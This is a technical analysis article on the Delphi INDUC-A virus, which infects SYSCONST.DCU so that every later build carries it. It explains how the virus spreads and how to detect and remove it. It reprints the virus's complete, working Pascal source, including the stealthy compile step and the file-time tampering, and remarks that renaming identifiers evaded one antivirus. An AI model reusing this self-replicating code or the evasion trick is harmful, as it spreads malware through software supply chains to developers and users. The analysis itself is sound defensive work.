menu
  Home  ==>  papers  ==>  delphi  ==>  delphi_induc_a_virus_anatomy   

The Delphi INDUC A virus Anatomy - Felix John COLIBRI.


1 - The INDUC-A virus buzz

The WIN32/INDUC-A virus was identified and presented on August the 12th by a Russian programmer "Gun Smoker" in a blogspot titled

    Delphi-"virus": check your installed Delphi!



Currently, typing "INDUC-A" on Google.Com presented over 40,000 links on August 24th, and is still spreading (over 65,000 12 hours later, this morning, the 25th). And even 65,001 with this article !



This article will

  • summarize the threat
  • present and analyze the virus source code
  • present some facts we can derive from the source analysis
  • add some miscellaneous comments of our own
  • list some of the (65,001) links about this virus



2 - The WIN32 INDUC A virus facts

For those wringing their hands in anguish, here are the simple facts :
  • the virus is contained in (many) .EXE that were compiled with Delphi 4.0, Delphi_5.0, Delphi 6.0 and Delphi 7.0 and then distributed
  • the technique used is the following : when an infected .EXE is executed on a PC where Delphi 4 to 7 are installed
    • it infects (duplicates itself) in SYSCONST.DCU
    • all Delphi programs compiled on this PC will be infected
    • when those .EXE are distributed on other (clean) PCs where Delphi 4 to 7 are installed, the process repeats itself
    The net effect is
    • on PCs WITHOUT Delphi 4 to 7 installed, some .EXE are simply 5K fatter
    • on PCs WITH Delphi 4 to 7 installed
      • SYSCONST.DCU will be 5K fatter
      • all Delphi programs compiled after the infection will be 5K fatter and might spread the virus when distributed
    It does no harm :
    • it only sits in some .EXE on PC without Delphi 4 to 7
    • it and will duplicate itself after compilation of Delphi code on PCs with Delphi 4 to 7 installed
  • on the detection front
    • ALL the main Anti Virus softwares currently detect the virus since August the 19 th, although usually with too much concern
    • a simple analysis of a 40 character ASCII signature in an .EXE will unearth it
  • to heal a PC, one should
    • remove it from SYSCONST.DCU (if present on the PC)
    • remove it from all the .EXEs
  • the only real thread is that the technique could be used for a more dangerous virus. But then, we are no longer talking about INDUC-A but of another virus


You will find those facts presented in many of the 65,000 web links. We rephrased the whole thing, based on the analysis of the virus source code, which is now presented.




3 - The Anatomy of the Delphi

3.1 - Analyzing the Virus

The easiest way is to present the infection scenario. We will start with a PC where an infected .EXE has just been installed.



3.2 - Installation of an infected application

You install (download from the web, CD, whatever) an infected application. Say ACCOUNTING.EXE :

a_pc_with_an_infected_application

For the INDUC-A virus

  • this application has been built by Delphi (version 5 to 7)
  • therere contains
    • the binary (compiled) accounting code
    • the compiled code of SYSCONST.PAS. This unit is delivered with every Delphi .EXE, since it contains some very basic constants like :

      Const SLongMonthNameJan = 'January'

      The compiled code includes :

      • the compiled code of the original Consts
      • the INDUC-A virus (in black)


If this PC has not contain the Delphi 4 to 7 installation, running the infected application will do nothing.



3.3 - Running the Infected .EXE on a Delphi 4 to 7 PC

Let's assume that on this PC you have installed Delphi (4 to 7).

In this case, the memory map will be:

a_delphi_pc_with_an_infected_application

and the Delphi parts that will be used by the INDUC-A virus are

  • the (virus free, for now), compiled version of SYSCONST.DCU (in LIB)
  • the (virus free) source code SYSCONST.PAS (in RTL\SYS\)
  • the command line compiler DCC32.EXE (in BIN)


As usual with Delphi, the installation create the full source code files for all end user component (the tButton, tForm, tDataBase, tClientSocket etc) but not the IDE, the compiler, or some tools like the Internet debug server.

Those sources were included since Delphi 1, as a example to help component creator to write their own components, or to serve as an teaching example of very powerfull libraries. Those sources are in the SOURCE\ directory, like, in our case

    C:\Program Files\Borland\Delphi6\Source\

and the SYSCONST.PAS is in a sub-directory

    C:\Program Files\Borland\Delphi6\Source\Rtl\Sys\



For day to day work, the installation also creates the compiled versions of those source code .PAS Units, and places them int the LIB\ directory. In our case:

    C:\Program Files\Borland\Delphi6\Lib\

In fact, we could throw away the SYSCONST.PAS, since the compiler only uses the SYSCONST.DCU Unit.



The DELPHI32.EXE is the Delphi tool itself (the IDE), and this IDE starts its own compiler when needed.

However, to automate the recompilation of some big libraries, we can use some script compilation (BUILD or MAKE type of scripts), and those use the dedicated DCC32.EXE command line compiler. This compiler does exactly the same thing as the integrated compiler, but can optionally be used for batch compilation.



3.4 - Executing the infected Accounting.Exe

When we start the Accounting.Exe, the virus will automatically be executed.



This automatic execution is caused by the Pascal Unit initialization code :

  • a Unit may contain statements just before the end of the Unit. Those statements are written between Begin and End., or between Initialization and Finalization. Like this:

    Unit u_compute;
      Interface
        Function f_piDouble;

      Implementation

        Function f_piDouble;
          ooo

      Begin
        ShowMessage('Hello World');
      End.

    Of course, for real life Units, the end statement would be used to initialize some data or start some mandatory handling.

  • the U_COMPUTE.PAS Unit is compiled into a U_COMPUTE.DCU binary
  • finally the compiler (more accurately the Linker) assembles all the .DCUs to build a single .EXE

  • when the .EXE is loaded,
    • first the initialization code of all Units is run
    • after that the control is handed over to the Begin of the main Program


In the case of the infected Accounting.Exe:
  • the virus has infected SYSCONST.DCU by adding a replicating code which is called in the SYSCONST initialization part
  • the replicating code will infect the (clean) SYSCONST.DCU of this PC
Therefore the situation will now look like this:

the_accounting_infects_sysconst_dcu



At this stage nothing else happen. We just have a SYSCONST.DCU with is a little bit fatter (around 5 K more), but everything will work just fine.



3.5 - Compilation of another Delphi Application

Usually if you have Delphi installed, you intend to use it. Generally all day long.

So let's assume that you want to add some improvements to the INVENTORY application:

  • you make the changes to the .PAS
  • you compile
The (infected) SYSCONST.DCU will automatically be included in the INVENTORY.EXE application, which is now infected :

infecting_another_exe_by_compilation



So what ?

Well, if you only use your Delphi .EXE on this machine, nothing else will happen. Running INVENTORY.EXE cannot infect more SYSCONST.DCU than it already is.

At this stage, the only effect of the virus was to increase the size of SYSCONST.DCU by 5 K. Big deal !


3.6 - Distributing INVENTORY.EXE

However, if you distribute your infected .EXE, those machine will be infected themselves.

Let's stress again, that

  • if those PC do not have Delphi 4 to 7 installed, nothing will happen
  • if they are already infected, nothing more will happen to them
But if Delphi 4 to 7 is installed, their SYSCONST.PAS will be increased by 5K, and any compilation will infect the compiled .EXE

Etc etc



3.7 - How is SYSCONST.DCU infected ?

This is now the interesting part. How can an infected .EXE infect SYSCONST.DCU ?



Here are the key points

  • the virus is written in Delphi.
  • it contains two parts
    • the Pascal source statements that infect SYSCONST.PAS and compile it into SYSCONST.DCU
    • a Pascal String Const which contains this same code, but as a litteral string constant


Lets assume that the Pascal code infecting SYSCONST.PAS is

Procedure infect_pas;
  Begin
    add__infect_pas__to_sysconst_pas;
    compile__sysconst_pas__into__sysconst_dcu;
  End;

When this part is run, it should add to the clean SYSCONST.PAS this same source code. However, once this part is compiled, it is transformed into 386 binary, and the source code has been lost.



To solve the problem, the virus contains, as a first part, a litteral constant containing the litteral string of the infecting part:

Const k_infect_pas=
   'procedure infect_pas;'
  +'  begin'
  +'    copy__k_infect_pas__intto__sysconst_pas;'
  +'    compile__sysconst_pas__into__sysconst_dcu;'
  +'  end;';

Procedure infect_pas;
  Begin
    copy__k_infect_pas__intto__sysconst_pas;
    compile__sysconst_pas__into__sysconst_dcu;
  End;

and the copy__k_infect_pas__intto__sysconst_pas statement simply copies this string litteral into SYSCONST.PAS (more accurately, copies the string litteral and the corresponding pascal code).



Finally the code is inserted into SYSCONST.PAS. This Unit mainly contains an Interface part where the constants are defined, but no Implementation code:

Unit SysConst;
  Interface
    Const SLongMonthNameJan = 'January';

  Implementation

  End

Therefore the virus simply installs himself after the Implementation. So the infected SYSCONST.PAS will look like :

Unit SysConst;
  Interface
    Const SLongMonthNameJan = 'January';

  Implementation

    Const k_infect_pas=
       'procedure infect_pas;'
      +'  begin'
      +'    copy__k_infect_pas__intto__sysconst_pas;'
      +'    compile__sysconst_pas__into__sysconst_dcu;'
      +'  end;'
      +''
      +'begin'
      +'  infect_pas;'
      +'end.';

    Procedure infect_pas;
      Begin
        copy__k_infect_pas__intto__sysconst_pas;
        compile__sysconst_pas__into__sysconst_dcu;
      End;

    Begin
      infect_pas;
    End.



3.7.1 - The SYSCONST.DCU at work

Let's assume that we compile the previous code.

Suppose that this SYSCONST.DCU is included in INVENTORY.EXE.



When INVENTORY.EXE is run on a clean machine :

  • all the initialization of Units will be called.
  • therefore infect_pas will be called
  • the binary code of this Procedure will then
    • locate SYSCONST.PAS
    • copy the k_infect_pas constant in SYSCONST.PAS like this :

      infected_sysconst_pas

    • locate DCC32.EXE and compile SYSCONST.PAS into SYSCONST.DCU, which now also contains the virus :

      infection_of_sysconst_dcu



There are a couple of additional minor points
  • the virus saves the original SYSCONST.PAS, modifies SYSCONST.PAS, compiles it into SYSCONST.DCU and then reinstalls the original SYSCONST.PAS to cover its tracks
  • the copying is performed in 3 parts, since the Implementation must contain
    • a new Uses Windows clause
    • the string constant
    • the statements
  • the location of SYSCONST.PAS, SYSCONST.DCU and DCC32.EXE is performed by looking into the Windows Registry. This is the snapshot of our Delphi 6 registry entry:

    borland_delphi_6_registry_entry.png

  • the quotes inside of the string constants strings have been changed into "$". We assume this was an attempt to obfuscate a binary dump of the infected code

    For instance, the copying statement of the string in SYSCONST.PAS is :

    For l_file_handle:= 1 To 23 Do
      writeln(l_new_file_to_modify''''sc[l_file_handle], ''',');

    and the string litteral included in the .EXE is defined by

    Var scArray[1..24] Of String= (
           'uses windows; var sc:array[1..24] of string=(',
              'l_file_time_1, l_file_time_2, l_file_time_3: FILETIME;',

              ooo 

                'for l_file_handle:= 1 to 23 do',
                ' writeln(l_new_file_to_modify, ''''+ sc[l_file_handle], ''',');',

              ooo 

    Now this constant has been obfuscated into into :

    Var scArray[1..24] Of String= (
           'uses windows; var sc:array[1..24] of string=(',
              'l_file_time_1, l_file_time_2, l_file_time_3: FILETIME;',

              ooo 

                'for l_file_handle:= 1 to 23 do',
                ' writeln(l_new_file_to_modify, $$$$+ sc[l_file_handle], $$$,$);',

              ooo 

    and an hex dump would show

        writeln(l_new_file_to_modify, $$$$+ sc[l_file_handle], $$$,$);

    which, because of the "$$$$" does not look very Pascal like. Well, to non Pascal programmers...

    Anyway, this "$" substitution explains the purpose of the f_change_dollar_into_quote which changes the "$" back into a quote.

  • finally, in this f_change_dollar_into_quote procedure, the "$" is coded as #36 and the quote #39.



4 - The WIN32.INDUC.A virus source code

Gun SMOKER who was the first to raise the whole issue also published the source code of the virus.

We renamed the identifiers and added some comments, but the source is the source found on Gun SMOKERS site. Or, more exactly, the source of the guy who wrote the virus in the first place !. And guess what, the feller forgot to put a Copyright on it !

Uses Windows;

Var scArray[1..24] Of String
        (
          'uses windows; var sc:array[1..24] of string=(',
          'function f_change_dollar_into_quote(p_string: string): string;',
          'var l_index: integer;',
          ooo
        );
            
Function f_change_dollar_into_quote(p_stringString): String;
  Var l_indexinteger;
  Begin
    For l_index:= 1 To length(p_stringDo
      If p_string[l_index]= #36
        Then p_string[l_index]:= #39;
    result:= p_string;
  End// f_change_dollar_into_quote

Procedure modify_compile_erase(p_source_to_modify_in_RTL_file_name,
    p_source_to_modify_without_suffix_in_LIB_file_name,
    p_quoted_dcc32_exe_BIN_file_nameString);
  Var l_file_handlecardinal;
      l_file_to_modifyl_new_file_to_modifytextfile;
      l_startup_infoSTARTUPINFO;
      l_create_process_resultboolean;
      l_process_informationPROCESS_INFORMATION;
      l_file_time_1l_file_time_2l_file_time_3FILETIME;
  Begin
    // -- try to open SYSCONST.BAK
    l_file_handle:=
          CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name'bak'),
          0, 0, 0, 3, 0, 0);
    display(f_integer_to_hex(Integer(l_file_handle)));
    If l_file_handle<> DWORD(- 1)
      Then Begin
          // -- if did find this file, assume that the virus is already installed
          // --   and exit
          CloseHandle(l_file_handle);
          Exit;
        End;

    // -- the $ -> ' bug
    {'I-}
    // -- open SYSCONST.PAS
    assignfile(l_file_to_modifyp_source_to_modify_in_RTL_file_name);
    // --   here should exit if SYSCONST.PAS was not found
    // --     and bombs because had changed {$I-} in {'I-}
    reset(l_file_to_modify);
    If ioresult<> 0
      Then exit;

    // -- create a modified copy of RTL\SYSCONST.PAS as LIB\SYSCONST.PAS
    assignfile(l_new_file_to_modify,
        p_source_to_modify_without_suffix_in_LIB_file_name'pas');
    rewrite(l_new_file_to_modify);
    If ioresult<> 0
      Then
        Begin
          closefile(l_file_to_modify);
          exit;
        End;

    // -- copy up to the INTERFACE
    While Not eof(l_file_to_modifyDo
    Begin
      readln(l_file_to_modifyp_source_to_modify_in_RTL_file_name);
      writeln(l_new_file_to_modifyp_source_to_modify_in_RTL_file_name);
      If pos('implementation'p_source_to_modify_in_RTL_file_name)<> 0
        Then break;
    End;

    // -- insert the text of this very code
    // --  1 - the header, from the constant code array
    For l_file_handle:= 1 To 1 Do
      writeln(l_new_file_to_modifysc[l_file_handle]);

    // --  2 - the quoted text of this code (for infections to come)
    For l_file_handle:= 1 To 23 Do
      writeln(l_new_file_to_modify''''sc[l_file_handle], ''',');
    // --  3 - the last row (no ending quote, but a ")"
    writeln(l_new_file_to_modify''''sc[24]+ ''');');

    // --  4 - the remainder of the source code
    // --      from the constant code array
    // --      without the $
    For l_file_handle:= 2 To 24 Do
      writeln(l_new_file_to_modifyf_change_dollar_into_quote(sc[l_file_handle]));

    closefile(l_file_to_modify);
    closefile(l_new_file_to_modify);
    // -- the $ -> ' bug
    {'I+}

    // -- rename LIB\SYSCONST.DCU as LIB\SYSCONST.BAK
    // --   which will be used by a next trial as a mark of the infection
    // --   and also will be used to restore the original in case
    // --   of compilation error
    MoveFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name'dcu'),
        pchar(p_source_to_modify_without_suffix_in_LIB_file_name'bak'));

    // -- create the compiling process
    fillchar(l_startup_infosizeof(l_startup_info), 0);
    l_startup_info.cb:= sizeof(l_startup_info);
    l_startup_info.dwFlags:= STARTF_USESHOWWINDOW;
    l_startup_info.wShowWindow:= SW_HIDE;
    // -- here compiles LIB\SYSCONST.PAS into LIB\SYSCONST.DCU
    l_create_process_result:= CreateProcess(Nil,
        pchar(p_quoted_dcc32_exe_BIN_file_name'"'
            + p_source_to_modify_without_suffix_in_LIB_file_name'pas"'),
            0, 0, false, 0, 0, 0, l_startup_infol_process_information);
    If l_create_process_result
      Then WaitForSingleObject(l_process_information.hProcessINFINITE);

    // -- only rename LIB\SYSCONST.BAK (the original DCU) into LIB\SYSCONST.DCU
    // --   if DCC32.EXE failed to create the (infected) DCU
    // --   (restoration of the DCU in case of compilation error)
    MoveFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name'bak'),
        pchar(p_source_to_modify_without_suffix_in_LIB_file_name'dcu'));

    // -- remove the modified LIB\SYSCONST.PAS
    DeleteFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name'pas'));

    // -- open LIB\SYSCONST.BAK (the original SYSCONST.DCU) to get the date/time
    l_file_handle:=
        CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name'bak'),
        0, 0, 0, 3, 0, 0);
    If l_file_handleDWORD(- 1)
      Then exit;

    // -- read the original DCU file time
    GetFileTime(l_file_handle, @l_file_time_1, @l_file_time_2, @l_file_time_3);
    CloseHandle(l_file_handle);

    // -- open the new LIB\SYSCONST.DCU
    l_file_handle:=
        CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name'dcu'),
        256, 0, 0, 3, 0, 0);
    If l_file_handleDWORD(- 1)
      Then exit;

    // -- change its time to the original time
    SetFileTime(l_file_handle, @l_file_time_1, @l_file_time_2, @l_file_time_3);
    CloseHandle(l_file_handle);
  End// modify_compile_erase

Procedure infect_and_compile;
  Var l_version_characterchar;
      l_borland_registry_keyHKEY;
      l_indexcardinal;
      l_key_contentArray[1..255] Of char;
      l_root_dirString;
  Begin
    // -- find if registry contains Delphi-4 to Delphi-7
    For l_version_character:= '4'To '7' Do
      If RegOpenKeyEx(HKEY_LOCAL_MACHINE,
          pchar('Software\Borland\Delphi\'l_version_character+'.0'),
          0, KEY_READl_borland_registry_key)= 0
        Then Begin
            // -- if so, find the "RootDir" key
            // --   eg, for Delphi 6 "C:\Program Files\Borland\Delphi6"
            l_index:= 255;
            If RegQueryValueEx(l_borland_registry_key,
                'RootDir'Nil, @l_index, @l_key_content, @l_index)= 0
              Then Begin
                  // -- convert into a string
                  l_root_dir:= '';
                  l_index:= 1;
                  While l_key_content[l_index]<> #0 Do
                  Begin
                    l_root_dir:= l_root_dirl_key_content[l_index];
                    inc(l_index);
                  End;

                  modify_compile_erase(
                    l_root_dir'\source\rtl\sys\SysConst''.pas',
                    l_root_dir+'\lib\sysconst.',
                    '"'l_root_dir'\bin\dcc32.exe" ');
                End;

            RegCloseKey(l_borland_registry_key);
          End;
  End// infect_and_compile

Begin
  infect_and_compile
End.



The algorithm is quite straigtforward:

  • the code is started from the initialization of SYSCONST
  • the infect_and_compile procedure :
    • checks if HKEY_LOCAL_MACHINE contains any of the following key :
          Software\Borland\Delphi\4.0
          Software\Borland\Delphi\5.0
          Software\Borland\Delphi\6.0
          Software\Borland\Delphi\7.0
    • if this is the case, extracts the "RootDir" value
    • calls modify_compile_erase, handing over the locations and names of SYSCONST.PAS, the LIB directory and DCC32.EXE
  • modify_compile_erase then
    • opens SYSCONST.PAS
    • inserts after Implementation, both the litteral string and the statement. This is the most tricky part:
      • it first inserts the USES Windows clause required by all the RegOpenKeyEx, CreateProcess kind of calls)
      • then adds the string constant (hence the quoting activity)
      • finally copies the text after the litteral constant, changing the "$" into "'" on the fly
    • start the compilation of SYSCONST.PAS into SYSCONST.DCU
    • then covers its track
Note that the errors are nicely covered, and only the presence of LIB\SYSCONST.BAK (and of course an infected LIB\SYSCONST.DCU) will be changed in the whole PC.




5 - Additional Conclusions

5.1 - The dry facts

Once the source code has been analyzed, it was quite easy to derive the the INDUC A virus facts at the start of this article.

5.2 - Virus multiplication

How does the virus infect other application .EXEs ? Of course, it does not wildly jump up and down and infect any .EXE in sight.

The answer is given by the test at the start of infect_and_compile:

// -- find if registry contains Delphi-4 to Delphi-7
For l_version_character:= '4'To '7' Do
  If RegOpenKeyEx(HKEY_LOCAL_MACHINE,
      pchar('Software\Borland\Delphi\'l_version_character+'.0'),
      0, KEY_READl_borland_registry_key)= 0
    Then Begin
        // -- infect SYSCONST.DCU
      End;

Since the virus looks for Delphi 4.0, 5.0, 6.0 or 7.0,

  • all the non Delphi .EXE (Word, Excel etc) will NEVER be infected
  • it NOT contained in .DLLs, drivers, system files, activex or scripts of any kind. Only in some Delphi 4 to 7 compiled files
  • the Delphi 8.nnn 2005.nnn, 2006.nnn, Delphi 2007.nnn, Delphi 2009.nnn, Delphi 2010.nnn compiled files cannot and will NOT be infected,
  • even the Delphi 4.nnn, Delphi 5.nnn, Delphi 6.nnn, Delphi 7.nnn where nnn is greater than 0 will NOT be infected
  • ONLY the Delphi 4.0, Delphi 5.0, Delphi 6.0, Delphi 7.0 MIGHT be infected, after compilation or recompilation by those Delphi versions (not if you recompile on any of the non Delphi 4.0 to 7.0 Delphi version)
  • if you move to a newer version of Delphi (Delphi 2006, Delphi 2007, Delphi 2009, Delphi 2010), recompiling the sources of an infected .EXE will remove the virus from this .EXE


This can be summarized by the following figure :

induc_a_multiplication



5.3 - Detection of the Compile-A Virus

Once installed, the virus contains the 5 K additional workload in SYSCONST.DCU and on some .EXEs. They should contain
  • the string litteral constant
  • merged in the 386 binary code, the strings used to look into the registry, open and copy the files, start the compilation
We compiled our virus source in a bogus Unit, and made an hex dump of the .DCU :
  • the compile Const area contains the original SYSCONST.PAS "January" string:

     
    0280: FF FF FF FF 03 00 00 00  4E 6F 76 00 25 12 53 53   : ÿÿÿÿ.... Nov.%.SS 
    < 
    0290: 68 6F 72 74 4D 6F 6E 74  68 4E 61 6D 65 44 65 63   : hortMont hNameDec 
    < 
    02A0: 8A CE 35 74 9A 04 02 18  FF FF FF FF 03 00 00 00   : èÎ5tš... ÿÿÿÿ.... 
    < 
    02B0: 44 65 63 00 25 11 53 4C  6F 6E 67 4D 6F 6E 74 68   : Dec.%.SL ongMonth 
    < 
    02C0: 4E 61 6D 65 4A 61 6E 8A  8C C7 B5 0D 04 02 20 FF   : NameJanè îǵ... ÿ 
    < 
    02D0: FF FF FF 07 00 00 00 4A  61 6E 75 61 72 79 00 25   : ÿÿÿ....J anuary.% 
    < 
    02E0: 11 53 4C 6F 6E 67 4D 6F  6E 74 68 4E 61 6D 65 46   : .SLongMo nthNameF 
    < 
    02F0: 65 62 8A 02 E7 B9 E4 04  02 22 FF FF FF FF 08 00   : ebè.ç¹ä. ."ÿÿÿÿ.. 
    < 
    0300: 00 00 46 65 62 72 75 61  72 79 00 25 11 53 4C 6F   : ..Februa ry.%.SLo 
    < 
    

  • it contains the string litteral of the virus code. Here is the first CreateFile call :

     
    0040: 00 00 62 65 67 69 6E 00  00 00 FF FF FF FF 5C 00   : ..begin. 
    ..ÿÿÿÿ\. < 
    0050: 00 00 6C 5F 66 69 6C 65  5F 68 61 6E 64 6C 65 3A   : ..l_file _handle: 
    < 
    0060: 3D 20 43 72 65 61 74 65  46 69 6C 65 28 70 63 68   : = Create File(pch 
    < 
    0070: 61 72 28 70 5F 73 6F 75  72 63 65 5F 74 6F 5F 6D   : ar(p_sou rce_to_m 
    < 
    0080: 6F 64 69 66 79 5F 77 69  74 68 6F 75 74 5F 73 75   : odify_wi thout_su 
    < 
    0090: 66 66 69 78 5F 69 6E 5F  4C 49 42 5F 66 69 6C 65   : ffix_in_ LIB_file 
    < 
    00A0: 5F 6E 61 6D 65 2B 20 27  62 61 6B 27 29 2C 00 00   : _name+ ' bak'),.. 
    < 
    

  • and it contains, merged into the 386 code, the string litterals like 'bak', 'pas', or, more significantly 'Software\Borland\Delphi\' and '\source\rtl\sys\SysConst'

     
    03F0: 00 00 5C 62 69 6E 5C 64  63 63 33 32 2E 65 78 65   : ..\bin\d 
    cc32.exe < 
    0400: 22 20 00 00 00 00 FF FF  FF FF 0E 00 00 00 5C 6C   : " ....ÿÿ 
    ÿÿ....\l < 
    0410: 69 62 5C 73 79 73 63 6F  6E 73 74 2E 00 00 FF FF   : ibsysco nst...ÿÿ 
    < 
    0420: FF FF 18 00 00 00 5C 73  6F 75 72 63 65 5C 72 74   : ÿÿ....\s 
    ourcert < 
    0430: 6C 5C 73 79 73 5C 53 79  73 43 6F 6E 73 74 00 00   : l\sys\Sy 
    sConst.. < 
    

Therefore, to detect the virus, looking for the 'CreateFile' string or the 'source\rtl\SysConst' will detect the virus. And you only need to look a the Delphi generated .EXEs.

The code of the virus is (intentionally I guess) written with quite short identifiers :

  • the function converting "$" is called e (which we renamed f_change_dollar_into_quote)
  • our modify_compile_erase is called re, and the parameter
  • our p_source_to_modify_without_suffix_in_LIB_file_name is named d
  • our l_file_handle is h
So the creation code will be

   h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

and because of the "'" quote into "$" obfuscation, it became

   h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);



Therefore looking for this string will prove that the inspected SYSCONST.DCU or any other .EXE is infected. And sice a PC does not contains thousands of .EXEs, this is still reasonably manageable.



Also not that since this kind of virus has its source (as a litteral constant embedded in the .EXE), it can easily be extracted from the .EXE, and this is obviously what Gun SMOKER did. In fact, if we had an infected .EXE, it would have been easier to get the source than extracting it from the Russian translation of Gun SMOKER's article !



5.4 - Detection by AntiVirus software

Gun SMOKER kindly sent the information to KASPERSKY and SYMANTEC. Because of the whole rufus, all the main software detect INDUC A

We found yesterday an html link by VirusTotal which presents the analysis of some .EXE that was sent to them for examination, the 19th August. It proves that INDUC A is now detected by :

 
AntiVir 
Avast 
AVG 
BitDefender 
DrWeb 
eSave 
F-Secure 
GDataa 
Kaspersky 
McAfee, McAfee+Artemis, McAfee GW Edition 
Microsoft 
Nod32 
Sophos 
Symantec 
VirusBuster 



We found that our AVG free virus checker also detects INDUC A :

  • we first included Gun SMOKER's INDUC A source in a unit and compiled it
  • the generation of the disc .EXE was blocked by AVG:

    avg_compilation_lock

Therefore if your Anti Virus is up to date, you will NOT BE ALLOWED to further infect the newly compiled programs.



We could compile our renamed code (in order to check that it works, and to present the binary hex dumps). And this version WAS NOT BLOCKED, which was not very surprising. Apparently, the AVG only looks for some original constant, like :

   h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);

and not for our renamed

   l_handle:=CreateFile(pchar(
       p_source_to_modify_without_suffix_in_LIB_file_name+$bak$),0,0,0,3,0,0);

constant.

Other antivirus could be more accurate, by looking for the conjuction of 'Software\Borland\Delphi\' and '\source\rtl\sys\SysConst', for instance



We could also create our own detection project, using a fast string search (Boyer More, or HorseSpool) which we presented in several of our articles :



To protect any other possible .EXE infection, the best thing would be to periodically compare the size (and maybe some kind of CRC signature) of the current .DCUs and .EXE to the size (and CRC) of those files just after installation. This might become quite tedious, since we should check each .EXE file. And if we upgrade some .DCU or .EXE, the signatures should be recomputed.



5.5 - Overkill

The fact that AVG (and possibly other) locked the generation of any .EXE containing the signature means that on any infected PC, compilation with Delphi 4 to 7 will be blocked.

And this is a shame for such an innocuous virus



5.6 - Compiling on an infected PC

First, to be able to still use Delphi 4 to 7 to compile our programs, we simply have to recompile SYSCONST.PAS. The virus
  • keeps the original SYSCONST.PAS intact (after saving it, modifying, compilation and restoration of the original)
  • the virus does not modify the compiler which still works (the integrated one or DCC32.EXE)
So a simple recompilation of SYSCONST.PAS and replacement of the infected SYSCONST.LIB will do



5.7 - Removing the virus

However, as soon as we run an infected .EXE, the virus reinstalls itself, and compilation will be locked again.

Therefore we must remove the virus from all the .EXE.

We have not implemented it, but simply replacing the binary call to infect_and_compile (the virus entry point in the Initialization of SYSCONST.DCU) by as many 386 NOP should do. This should stop the infection from this .EXE.

And while we are at it, filling all the areas that the antivirus software might use for INDUC A detection by zeros would also stop the current antivirus panic nonsense.



5.8 - How was the INDUC A virus detected ?

5.8.1 - An old, harmless little feller

This virus which checks for Delphi 4 to 7 must have been written in the time of Delphi 7, which is around 2002.

It has since then spread and multiplied, without anybody being harmed, or noticing anything.

Not quite, since it sometimes triggers an execution exception



5.8.2 - The Execution Exception

The infected machine experiences some mysterious execution exception when running the infected .EXEs.

And the cause of the error is quite funny:

  • opening SYSCONST.PAS is protected by a $I compiler directive :

    {$I-}
    // -- open SYSCONST.PAS
    assignfile(l_file_to_modifyp_source_to_modify_in_RTL_file_name);
    reset(l_file_to_modify);
    If ioresult<> 0
      Then exit;

    ooo

    {$I+}

  • this code is stored in the string constant :

    Var scArray[1..24] Of String= (

       'uses windows; var sc:array[1..24] of string=(',

       ooo

       '{$I-}',
       'assignfile(l_file_to_modify, p_source_to_modify_in_RTL_file_name);',

       ooo

  • and now, folks, when the virus installs itself in SYSCONST.PAS, it calls f_change_dollar_into_quote to "unobfuscate" the "$" into quotes "'". And, naturally is does the same thing for our compiler directives which now become

    {'I-}
    // -- open SYSCONST.PAS
    assignfile(l_file_to_modifyp_source_to_modify_in_RTL_file_name);
    reset(l_file_to_modify);
    If ioresult<> 0
      Then exit;

    ooo

    {'I+}


Without the "$" after the comment start
  • the $I becomes an ordinary comment
  • if the code does not find SYSCONST.PAS, it triggers an execution exception.
A Delphi version of "Shoot yourself in the foot" !

The virus could only go that far if it could find the Delphi 4.0 to 7.0 registry entry, but failed to find the SYSCONST.PAS. How is this possible ? Well it might be possible to uninstall Delphi (whic removes SYSCONST.PAS) but might not clean up the registry.

Under those circumpstances, the application raised an exception :

_42_io_error

and this is what was noticed by many Russian users.



5.9 - How did the INDUC A virus spread ?

The exception was mainly experienced by Russian users of some very popular software in Russia, like
  • Miranda (a Delphi plug-in)
  • QIP,
  • AIMP,
  • Infinity Box.
including Instant Messaging softwares.

There are some lists of supposedly infected applications now available on the Web.

Annoying but not destructive.

Only on August 12th did Gun SMOKER decide to investigate, and then published his findings in his blog.

5.10 - How is it propagated today on other PCs

The virus is propagated by distributing an infected Delphi 4.0, Delphi 5.0, Delphi 6.0, Delphi 7.0 application .EXE

It is NOT propagated :

  • by mail, openig attached stuff or running scripts
  • by visiting Internet sites, even the most furious and evil ones
  • by installing .EXE other than infected Delphi 4.0 to 7.0 .EXEs
  • by being connected to contaminated PCs on your network
  • by running rotten Word, Excel or Visual Basic macros
  • by extracting ZIP files
It is propagated because
  • YOU installed an infected .EXE (unknowingly, for sure)
  • YOU executed this .EXE
We do not try to make you feel guilty, but only want to stress what causes the proliferation



This can be pictured like this :

induc_a_propagation



5.11 - Avoiding infection

If you have a PC with the Delphi 4 to 7 installed, there are a couple of ways to avoid the infection of SYSCONST.DCU
  • move DCC32.EXE into another directory. The virus will not find it and will be unable to compile the SYSCONST.PAS
  • the virus also keeps a SYSCONST.BAK around and placing a bogus SYSCONST.BAK would avoid infecting the current (clean) SYSCONST.DCU
The infected .EXE will still be present, but the virus cannot be included in the Delphi compiled codes.

And if you move to a newer version of Delphi (Delphi 2006, Delphi 2007, Delphi 2009, Delphi 2010), recompiling the sources will remove the virus from the .EXE



Another technique is to use some operating system protection, especially with VISTA.



5.12 - What's Next

If you reach this point, you fully understand that the virus is not dangerous. Annoying a most.

However it could be modified, installed on other machines, adapted to other compilers etc.

This is the real source of concern, but is beyond the scope of this article.

In fact, in an interesting blog post, Craig STUNTZ references Ken THOMPSON's Turing Award where the technique of duplicating code by a compiler could be exploited. So it's a very old technique, which was nicely implemented for Delphi as an innocent prank, but could be adapted in a far more dangerous way in the future.

The only new thing is that the virus is duplicating when you use an IDE (Delphi in this case)



5.13 - FUD - Fear, Uncertainty, Doubt

The main alert seems to have originated in a Sophos (an antivirus software company) post.

And the ball started to roll around this date.



5.14 - Conspiracy theory

Only the INDUC A authors know why they launched this virus. We personally assume it is some kind of trial, like a kid puttint a dime on the railroad track to see how it will be squashed.

But with this over information, many soon came up with all kind of conspiracy schemes. The virs COULD have been created by

  • anti virus software companies, to improve their sales
  • MAC developers who hate WINDOWS
  • Delphi haters
  • and anyone else you suspect does not like you
Since we do not really know why the virus was created, any theory will do.



5.15 - Was it all right to publish the virus source ?

First of all, we simply republished Gun SMOKER's code.

